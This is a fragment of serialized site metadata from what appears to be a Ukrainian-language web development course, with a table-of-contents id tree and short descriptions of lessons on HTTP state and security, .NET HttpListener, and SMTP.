.sLwNe{--shiki-light:#0451A5;--shiki-default:#9CDCFE;--shiki-dark:#9CDCFE}",{"title":3428,"searchDepth":3442,"depth":3442,"links":21951},[21952,21953,21960,21964,21965,21976,21987,21991,21997,22001,22009,22013,22019,22024,22025],{"id":3314,"depth":3442,"text":3315},{"id":3651,"depth":3442,"text":3652,"children":21954},[21955,21956,21957,21958,21959],{"id":3656,"depth":3448,"text":3657},{"id":3710,"depth":3448,"text":3711},{"id":4053,"depth":3448,"text":4054},{"id":4172,"depth":3448,"text":4173},{"id":4330,"depth":3448,"text":4331},{"id":4716,"depth":3442,"text":4717,"children":21961},[21962,21963],{"id":4720,"depth":3448,"text":4721},{"id":6039,"depth":3448,"text":6040},{"id":6197,"depth":3442,"text":6198},{"id":6313,"depth":3442,"text":6314,"children":21966},[21967,21968,21969,21970,21971,21972,21973,21974,21975],{"id":6537,"depth":3448,"text":6538},{"id":6669,"depth":3448,"text":6670},{"id":7064,"depth":3448,"text":7065},{"id":7100,"depth":3448,"text":7101},{"id":7124,"depth":3448,"text":7125},{"id":7422,"depth":3448,"text":7423},{"id":7529,"depth":3448,"text":7530},{"id":7553,"depth":3448,"text":7554},{"id":8501,"depth":3448,"text":8502},{"id":9293,"depth":3442,"text":9294,"children":21977},[21978,21979,21980,21981,21982,21983,21984,21985,21986],{"id":9297,"depth":3448,"text":9298},{"id":9375,"depth":3448,"text":9376},{"id":9398,"depth":3448,"text":9399},{"id":9472,"depth":3448,"text":9473},{"id":9670,"depth":3448,"text":9671},{"id":9840,"depth":3448,"text":9841},{"id":9939,"depth":3448,"text":9940},{"id":10156,"depth":3448,"text":10157},{"id":10177,"depth":3448,"text":10178},{"id":10924,"depth":3442,"text":10925,"children":21988},[21989,21990],{"id":10939,"depth":3448,"text":10940},{"id":11158,"depth":3448,"text":11159},{"id":11551,"depth":3442,"text":11552,"children":21992},[21993,21994,21995,21996],{"id":11555,"depth":3448,"text":11556},{"id":11562,"depth":3448,"text":11563},{"id":11727,"depth":3448,"text":11728},{"id":12048,"depth":3448,"text":12049},{"id":13039,"depth":3442,"text":13040,"children":21998},[21999,22000],{"id":13043,"depth":3448,"text":13044},{"id":13840,"depth":3448,"text":13841},{"id":14206,"depth":3442,"text":14207,"children":22002},[22003,22004,22005,22006,22007,22008],{"id":14210,"depth":3448,"text":14211},{"id":14325,"depth":3448,"text":14326},{"id":14529,"depth":3448,"text":14530},{"id":14630,"depth":3448,"text":14631},{"id":14698,"depth":3448,"text":14699},{"id":14804,"depth":3448,"text":14805},{"id":15341,"depth":3442,"text":15342,"children":22010},[22011,22012],{"id":15345,"depth":3448,"text":15346},{"id":15549,"depth":3448,"text":15550},{"id":16121,"depth":3442,"text":16122,"children":22014},[22015,22016,22017,22018],{"id":16128,"depth":3448,"text":16129},{"id":16371,"depth":3448,"text":16372},{"id":16708,"depth":3448,"text":16709},{"id":18103,"depth":3448,"text":18104},{"id":18874,"depth":3442,"text":18875,"children":22020},[22021,22022,22023],{"id":18881,"depth":3448,"text":18882},{"id":18942,"depth":3448,"text":18943},{"id":19052,"depth":3448,"text":19053},{"id":19137,"depth":3442,"text":19138},{"id":19253,"depth":3442,"text":19254,"children":22026},[22027,22028],{"id":19260,"depth":3448,"text":19261},{"id":19315,"depth":3448,"text":19316},"Глибоке вивчення механізмів стану в HTTP — cookies, атаки XSS\u002FCSRF\u002Fsession-fixation, Basic\u002FDigest\u002FBearer аутентифікація, JWT алгоритми, OAuth 2.0 з усіма grant-types, PKCE, TLS Handshake, HSTS, HTTP Security Headers, кешування ETag\u002FLast-Modified\u002Fstale-while-revalidate, CORS з credentialed-запитами та content negotiation.","md",null,{},{"title":1688,"description":22029},"ogl4UfwedqjZIZcRzAzEmcXjodw6uobWjnqjMdpikzs",[22036,22038],{"title":1684,"path":1685,"stem":1686,"description":22037,"children":-1},"Детальний розгляд класу HttpListener — нативного HTTP-сервера .NET без ASP.NET Core. Архітектура, повний API, конфігурація, аутентифікація, обробка запитів та два практичні приклади — статичний файловий сервер та REST API.",{"title":1692,"path":1693,"stem":1694,"description":22039,"children":-1},"Детальне вивчення SMTP-протоколу — сесія, команди, аутентифікація, MIME, STARTTLS\u002FSMTPS; відправлення листів через System.Net.Mail у .NET 10; огляд суміжних протоколів IMAP та POP3.",1781795352192]